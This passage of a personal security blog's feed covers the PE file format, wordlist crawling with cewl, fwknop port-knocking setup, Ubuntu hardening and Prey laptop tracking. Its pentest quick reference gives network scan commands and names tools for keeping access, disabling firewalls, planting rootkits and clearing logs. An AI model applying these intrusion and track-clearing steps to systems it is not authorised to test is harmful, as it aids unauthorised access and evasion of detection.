href="http://2.bp.blogspot.com/-e_0ck42SsMI/TYolcp5bivI/AAAAAAAAAAU/ktRY5QSQXV4/s1600/PE_Format.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 174px;" src="http://2.bp.blogspot.com/-e_0ck42SsMI/TYolcp5bivI/AAAAAAAAAAU/ktRY5QSQXV4/s320/PE_Format.png" alt="" id="BLOGGER_PHOTO_ID_5587319461919820530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(255, 153, 0);"&gt; MZ header] - "hex bytes: 4d 5a"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[ Dos stub ] - "This program cannot be run in dos mode"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[PE header] - "Hex bytes: 50 45 00 00"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[optional header]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[Data directory] - "Structure of important locations such as import table, export table, etc."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[Section table header] - "array of structures describing the properties of each section."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[section 1]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[section 2]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;[section n]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Every PE file should contain the above information. The very first two bytes of the file should be "4d5a", which is MZ. This indicates the start of the dos header. At position 0x3c in the Dos header, is a dword (4 bytes) that indicates the offset of the start of PE header.  Directly after this should be the DOS stub that basically prints a string saying that this program cannot be run in dos mode or something similar.&lt;br /&gt;&lt;br /&gt;Following the dword offset at positon 0x3c should take you to the start of the PE header and should containt the hex bytes "50 45 00 00". Other useful information contained in here include . the machine type (i386, i686, etc.) , the number of sections and size of optional header.&lt;br /&gt;&lt;br /&gt;24 bytes from the PE header starts the Optional header. This structure is in every PE file and isn't really optional as it may suggest. It contains many relevant fields that the windows loader needs in order to load the file correctly into memory.&lt;br /&gt;&lt;br /&gt;The data directory is a listing of the locations of important data such as the import tables (when you use functions from windows DLLS, you have to import them.) and export tables.&lt;br /&gt;&lt;br /&gt;Section header is a structure containting the properties of each section. This information includes its name, its size on disk and in memory and its location.&lt;br /&gt;&lt;br /&gt;The last sections will house the individual sections referenced in the section header. You can use the information in the section header to find the relevant offsets and size of each section.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-589134280084370251?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/589134280084370251/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/03/windows-and-its-pe-file-structure.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/589134280084370251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/589134280084370251'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/03/windows-and-its-pe-file-structure.html' title='Windows and its PE file structure'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-e_0ck42SsMI/TYolcp5bivI/AAAAAAAAAAU/ktRY5QSQXV4/s72-c/PE_Format.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5895530785234738153</id><published>2011-01-30T19:14:00.000-08:00</published><updated>2011-03-01T10:30:05.700-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Custom Wordlist'/><title type='text'>Custom wordlist</title><content type='html'>Heres two ways to create custom wordlist with backtrack 4 R2.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tools:&lt;/div&gt;&lt;div&gt;wyd.pl&lt;/div&gt;&lt;div&gt;cewl.rb&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Way #1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# wget -r -l 3 http://www.google.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;'-r' recurse&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;'-l' recusrsion depth level&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# wyd.pl  -o wordlist.lst /root/http://www.google.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Way #2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ruby cewl.rb &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;--depth 3&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; -w ~/wordlist.lst http://www.google.com&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5895530785234738153?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5895530785234738153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/01/custom-wordlist.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5895530785234738153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5895530785234738153'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/01/custom-wordlist.html' title='Custom wordlist'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5509288401506849822</id><published>2010-12-22T12:00:00.000-08:00</published><updated>2011-03-01T10:30:05.708-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentest Cycle'/><title type='text'>Pentest Cycle Quick Reference</title><content type='html'>&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Reconnaisance&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;:&lt;/span&gt; Normally no active tests are performed on targets. At this phase google is your friend. You try to learn all you can about potential organizations/targets from available public sources&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.centralops.net/"&gt;www.centralops.net&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.google.com/"&gt;www.google.com&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.whois.net/"&gt;www.whois.net&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Scanning:&lt;/span&gt; This phase involves identifying live targets and their open ports on a network.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;unicornscan 10.0.0.1&lt;br /&gt;&lt;/li&gt;&lt;li&gt;nmap -sS 192.168.1.1-255; nmap -sn -Pr 192.168.1.0/24&lt;br /&gt;&lt;/li&gt;&lt;li&gt;netdiscover -r 10.0.0.0/24 -i eth0&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Enumeration/OS fingerprinting:&lt;/span&gt; Learn more about the potential applications listening behind discovered open ports. This involves sending packets to open ports and analyzing the responses sent back by the services. By analyzing these responses the OS might be determined here as well.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;nmap with the -sV and or -O option&lt;/li&gt;&lt;li&gt;amap -Abqv 10.0.0.1 80; amap -B 10.0.0.1 80&lt;/li&gt;&lt;li&gt;xprobe2 -p tcp:445:open &lt;/li&gt;&lt;li&gt;httprint for webserver enumeration&lt;/li&gt;&lt;li&gt;metasploit and smb_version module if port 445 or 139 is open&lt;/li&gt;&lt;li&gt;nmap --script smb-os-discovery&lt;a href="http://nmap.org/nsedoc/scripts/smb-os-discovery.html"&gt;        &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Research:&lt;/span&gt; After identifying the OS and it's applications (and in some cases their versions), you will want to research that app for potential vulnerabilities and security bypasses. Some resources that you can use to research vulnerabilities are&lt;br /&gt;&lt;ul&gt;&lt;li&gt;www.securityfocus.com&lt;/li&gt;&lt;li&gt;www.exploit-db.com&lt;/li&gt;&lt;li&gt;www.secunia.com&lt;/li&gt;&lt;li&gt;www.google.ca&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Exploitation:&lt;/span&gt; After finding potential vulnerabilites and exploits in your research phase, you will want to attempt to try these exploits against the vulnerable apps. In some cases you will be required to compile and or modify the exploit code to get things working or to simply suit your need. Some tools that aid in the exploitation phase are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;metasploit&lt;/li&gt;&lt;li&gt;www.exploit-db.com or a local copy of their archive as found in backtrack 4&lt;/li&gt;&lt;li&gt;local copy of milworm exploits archive&lt;/li&gt;&lt;li&gt;fasttrack&lt;/li&gt;&lt;li&gt;milw0rm&lt;/li&gt;&lt;li&gt;SET, i.e, social engineering toolkit&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Maintaining Access:&lt;/span&gt; After you have successfully exploited a target, you will want tEo ensure that access to the remote vulnerable host will be quick and easy. You may be required to open a port in the firewall or just turn that darn thing off. Some tools that can be used here are;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;netcat&lt;/li&gt;&lt;li&gt;cryptcat&lt;/li&gt;&lt;li&gt;mirkov&lt;/li&gt;&lt;li&gt;guptachar (see &lt;a href="http://aerokid240.blogspot.com/search/label/Guptachar"&gt;blogpost&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;metsvc (meterpreter)&lt;/li&gt;&lt;li&gt;rootkits&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Clearing Tracks:&lt;/span&gt; This step basically involves clearing traces of your activity on the vulnerable machine, including uploaded files and any events that may have been logged to the event viewer that may idicate that the machine has been compromised. Rootkits can also help hide your upload files, your open ports, running services, etc. These are very difficult to detect and mitigate.&lt;br /&gt;&lt;br /&gt;These are just guidelines that i've learnt from various resources. The majority of pentesters out there tend to follow similar guidelines to those that i've outlined. There are many more tools that can be utilized in each phase but that was not the purpose of this blog. It is important to have an idea of the overal phases that one may encouter in real life and why each is important. I did not go into much depth but each phase has their value. It is very important to know your tools, to practice using them and when to use them, as your experience can be the deciding factor in whether you get in or whether you serve yourself a serving of fail.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5509288401506849822?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5509288401506849822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/12/pentest-cycle-quick-reference.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5509288401506849822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5509288401506849822'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/12/pentest-cycle-quick-reference.html' title='Pentest Cycle Quick Reference'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3774508487933552837</id><published>2010-11-25T17:26:00.000-08:00</published><updated>2010-11-28T07:37:22.014-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fwknop'/><title type='text'>Single Packet Authentication with fwknop</title><content type='html'>&lt;div&gt;&lt;/div&gt;Imagine having services running on your computer, in order for other machines to access these services you would have to open up the relevant ports on your firewall. What if a zero day exploit comes out for one of these services is it game over? More than likely it is a game over situation, but it doesn't have to be.&lt;br /&gt;&lt;br /&gt;Single Packet Authentication allows you to access services running on your machine and at the same time have your firewall filter block all incoming traffic, meaning have no ports open on your machine. How is this even possible? It just is and to learn more, google is your friend. Basically, you have a server but its no ordinary server running on your machine. Its a server that listens to all traffic like a sniffer. When it sees a specially crafted authentication packet it does something like execute commands or in our case open up a port. Whats kool about this and in particular fwknop is that we can setup our rules that when we open up the port, we do so for a certain amount of seconds then close back the port of the firewall. The already established connections continue to have connectivity (due to rules we set on the firewall to allow already established communications through).&lt;br /&gt;&lt;br /&gt;Notes:&lt;br /&gt;&lt;br /&gt;OS: &lt;span style="color: rgb(255, 102, 0);"&gt;Backtrack 4 RC1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Simple IP tables firewall rule:&lt;br /&gt;&lt;blockquote style="color: rgb(255, 102, 0);"&gt;#!/bin/sh&lt;br /&gt;IPTABLES=/sbin/iptables&lt;br /&gt;$IPTABLES -F&lt;br /&gt;$IPTABLES -F -t nat&lt;br /&gt;$IPTABLES -X&lt;br /&gt;$IPTABLES -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;$IPTABLES -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;$IPTABLES -A INPUT -i ! lo -j LOG --log-prefix "DROP "&lt;br /&gt;$IPTABLES -A INPUT -i ! lo -j DROP&lt;br /&gt;$IPTABLES -A FORWARD -i ! lo -j LOG --log-prefix "DROP "&lt;br /&gt;$IPTABLES -A FORWARD -i ! lo -j DROP&lt;br /&gt;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;echo "iptables policy enabled"&lt;br /&gt;exit&lt;/blockquote&gt;pre-requisite for fwknop:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; # apt-get install libgdbm-dev&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Download and install fwknop(client and server)&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# wget -c http://www.cipherdyne.org/fwknop/download/fwknop-2.0.0rc2.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# tar -zxvf fwknop-2.0.0rc2.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ./configure&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# make install&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;Configuration: (config files are located at /usr/local/etc/fwknop)&lt;br /&gt;&lt;br /&gt;In the fwknop.conf file, you need to uncomment and set the option for your interface "&lt;span style="color: rgb(51, 255, 255);"&gt;PCAP_INTF    eth0&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;Set up your access.conf file to allow access to what users what ports, etc. A simple suitable config:&lt;br /&gt;&lt;blockquote style="color: rgb(255, 102, 0);"&gt;SOURCE: ANY;&lt;br /&gt;KEY: 123456789; //must be over 8 characters&lt;br /&gt;REQUIRE_USERNAME: admin;&lt;br /&gt;OPEN_PORTS: tcp/22;&lt;br /&gt;FW_ACCESS_TIMEOUT: 20;&lt;/blockquote&gt;To run the server:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# fwknopd -f -vv&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;if you get the following error message when you try to run the server:&lt;br /&gt;&lt;blockquote style="color: rgb(255, 102, 0);"&gt;fwknop: error while loading shared libraries: libfko.so.0: cannot open shared object file: no such file or directory&lt;/blockquote&gt;then you may need to create a symlink in the /usr/lib directory for the library file:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# cd /usr/lib&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ln -s /usr/local/lib/libfko.so.o.o.2 libfko.so.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To authenticate using client:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# fwknop -D 192.168.0.5 -s -A tcp/22&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There is also a windows client you can get &lt;a href="http://www.cipherdyne.org/fwknop/download/fwknop-client-1.8.3.zip"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;a href="http://pauldotcom.com/wiki/index.php/Episode221"&gt;http://pauldotcom.com/wiki/index.php/Episode221&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cipherdyne.org/fwknop/"&gt;http://www.cipherdyne.org/fwknop/&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3774508487933552837?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3774508487933552837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/11/single-packet-authentication-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3774508487933552837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3774508487933552837'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/11/single-packet-authentication-with.html' title='Single Packet Authentication with fwknop'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8540366109216937313</id><published>2010-11-19T10:01:00.000-08:00</published><updated>2010-11-24T09:20:13.037-08:00</updated><title type='text'>Linux / Ubuntu hardening tips</title><content type='html'>Here are some tips that you can use to harden the security of your systems.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Its a good idea to divide your file system into various partitions to fine tune permissions and functionality. Also aids in linux OS migration and backup as well.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Set a BIOS password ONLY. Sure you can also set HDDlock passwords to password protect your hardisks which is good but there is one downside to doing so. If your computer was stolen and your system requires a password to bootup (or unlock the hard disks) , provided that you used a secure password, chances are that this predator would not be able to boot into your machine at all. He then may dispose of this machine or just simply get a new hard drive. When either of these happen, you can pretty much kiss this machine good bye as it would be almost impossible to recover. What i prefer to do is to just set a BIOS password so that no one can make changes into the BIOS but are able to still boot into the OS into a restricted account. Once the machine gets an internet connection our hidden "prey" software that i discussed in the previous blog post can do its job and start reporting information to us. This setup might not be applicable for businesses but for a typical home user, i think it should do fine (who wouldn't want to catch the culprit and recover their stolen goods in the process? :P ).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;You would also want to set the boot priority to boot from your hard disk first and not removeable media. This aids in preventing the use of live linux CD's or removeable media from being able to boot and mount your hard disk. With your BIOS password set, modifying the boot sequence of your computer would become a daunting task to the average user trying to do so. Although you can get around this easily by taking out the hard disk so the computer boots from its next boot device, not everyone would think about doing so, therefore this helps in giving you some security.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Perform an update as soon as you install your new OS. These commands should do&lt;/span&gt;: &lt;span style="color: rgb(255, 102, 0);"&gt;# apt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Enable Automatic updates. Would want to schedule your updater to check for updates at least once a week. Would also suggest that you allow the OS to automatically download and install updates wihtout confirmation when available.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Download and install your preferred firewall (i recommend firestarter). Go ahead and block incomming connections. the only connections that should be allowed through your firewall is traffic that was originally initiated from your box.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Download and install a virus scanner (clamav should do). Most viruses are for windows so chances are you wont get infected. However, you can potentially be hosting a virus that may or may not spread onto other hosts. For instance, you may have an infected pdf file that you can open in linux and have to effect what so ever because the exploit was designed for a windows system. If you decide to carry this file with you on a usb key and copy it on the windows system that virus would now stand a much better chance to infect its windows host.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I recommended using firefox for the best web browsing security. You would want to install the "noscript" plug-in for added security against scripting attacks.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Refrain from using the root account. Create a new user and give priveleges to this user via the sudoer file using the command "visudo" to modify it. Try to be restrictive as possible. If you give yourself too much priveleges and your account was to be compromised, then its game over.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After you do a fresh install of Ubuntu and did all the updates, you would want to generate a list of all installed programs as a baseline. You can do this again later then compare it to your baseline and note the differences. Chances are you may spot some programs that shouldn't be there. The command that i use to generate this list is :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# dpkg --get-selections | grep -v "deinstall" &gt; Installed_Baseline-`date +%F`.lst &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Remove unecessary services especially the ones that start on boot. Identify the services that you do not need and remove them.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;example:&lt;/span&gt;&lt;span style="color: rgb(102, 255, 153);"&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;# sudo /etc/init.d/cups stop &amp;amp;&amp;amp; update-rc.d -f cups remove&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;As mentioned above, i would recommend having some sort of locked down guest account. This way, if my laptop was to get stolen, its in me best interest to want to allow them easy access into my system where they can connect to the internet and browse the web. This way my "prey" software can report on my laptops where abouts so i have a great chance of recovering my PC&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Install "prey". You can read about it in my previous post. This here puts your mind at ease knowing that if your machine gets stolen, there is still hope that you can recover it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Always try to have some type of log management strategy. Search or create scripts that would parse through your log files and extract relevant information. Getting this right can be time consuming but may pay off one day. Try to log as much as possible. The more data you have, the more you have to work with.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;By default all user home directories created with the adduser utility will have world read/execute permissions. This is not very desirable from a security stand point. To verify every users home directory permissions:&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# ls -ld /home/*.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Far added security do :&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;# sudo chmod 0750 /home/username&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Avoid using default service ports. For example, your default ssh server install will more than likely listen on port 22. Its in your best interest to put this on some random port number like 26374. Hackers may see port 22 and automatically assume that theres an ssh server running in the background but seeing port 26374 might make there lives a little bit harder in trying to identify the type of service listening on this port. Sometimes they might just not bother putting in the extra effort into getting into that system as things aren't as trivial for them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Lock down your services and applications. As an example with ssh, i like to restrict root logons, restrict password authentication once i get public key authentication working and force the usage of ssh protocol version 2.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="https://help.ubuntu.com/9.10/serverguide/C/security.html"&gt;https://help.ubuntu.com/9.10/serverguide/C/security.html&lt;/a&gt;&lt;br /&gt;&lt;pre class="screen"&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8540366109216937313?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8540366109216937313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/11/linux-ubuntu-hardening-tips.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8540366109216937313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8540366109216937313'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/11/linux-ubuntu-hardening-tips.html' title='Linux / Ubuntu hardening tips'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5160249934010552967</id><published>2010-11-18T06:24:00.000-08:00</published><updated>2010-11-19T12:18:32.979-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='preyproject'/><category scheme='http://www.blogger.com/atom/ns#' term='prey'/><title type='text'>preyproject.com - Things you can do to aid recovering one's stolen laptop part 2</title><content type='html'>Continuing from my  last post, i wanted to speak on an open source project called prey.&lt;br /&gt;From the website itself, &lt;span style="color: rgb(51, 255, 255);"&gt;preyproject.com&lt;/span&gt;, it states "&lt;span style="font-style: italic; font-weight: bold;"&gt;Prey lets you keep track of your phone or laptop at all times, and will help you find it if it ever gets lost or stolen. It's lightweight, open source software, and free for anyone to use. And it just works.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;It is available for Linux, Windows, Mac OS and the Android platform as well.&lt;br /&gt;&lt;br /&gt;These are the steps involved in getting it set-up for Windows:&lt;br /&gt;&lt;ol style="color: rgb(51, 255, 51);"&gt;&lt;li&gt;Download and install the software&lt;/li&gt;&lt;li&gt;In configuration, choose to set up reporting method&lt;/li&gt;&lt;li&gt;Choose the recommended option "Prey + control panel"&lt;/li&gt;&lt;li&gt;Create a new user and follow remaining steps&lt;/li&gt;&lt;li&gt;Log into newly created account on preyproject.com&lt;/li&gt;&lt;li&gt;Click on your device&lt;/li&gt;&lt;li&gt;Make necessary changes here then goto "&lt;span style="font-weight: bold;"&gt;Modules&lt;/span&gt;" to configure those (&lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;very important&lt;/span&gt;)&lt;/li&gt;&lt;li&gt;The Modules section is where you tell prey what information to collect if your PC is stolen. Make necessary changes here&lt;/li&gt;&lt;li&gt;Click on "Save changes"&lt;/li&gt;&lt;li&gt;To test your system out, switch back to "&lt;span style="font-weight: bold;"&gt;Configuration&lt;/span&gt;" view and turn on the "Missing?" option. This tells prey to start doing its thing and start reporting the information you requested.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;For Ubuntu linux users:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Download the .deb installer from the main website&lt;/li&gt;&lt;li&gt;install using: &lt;span style="color: rgb(51, 255, 255);"&gt;# dpkg -i prey_0.4.4-ubuntu2_all.deb&lt;/span&gt;&lt;/li&gt;&lt;li&gt;If the install complains about dependencies like mines install them. For example, i installed my dependencies like this: &lt;span style="color: rgb(51, 255, 255);"&gt;# apt-get scrot streamer mpg123&lt;/span&gt;. Scrot is a screeshot capture program, streammer is a video and audio capture utility and mpg123 is a command line mp3 player.&lt;/li&gt;&lt;li&gt;Verify your crontab entry: &lt;span style="color: rgb(51, 255, 255);"&gt;# crontab -l&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Verifythat the cron service is running: &lt;span style="color: rgb(51, 255, 255);"&gt;# /etc/init.d/cron status&lt;/span&gt;. If 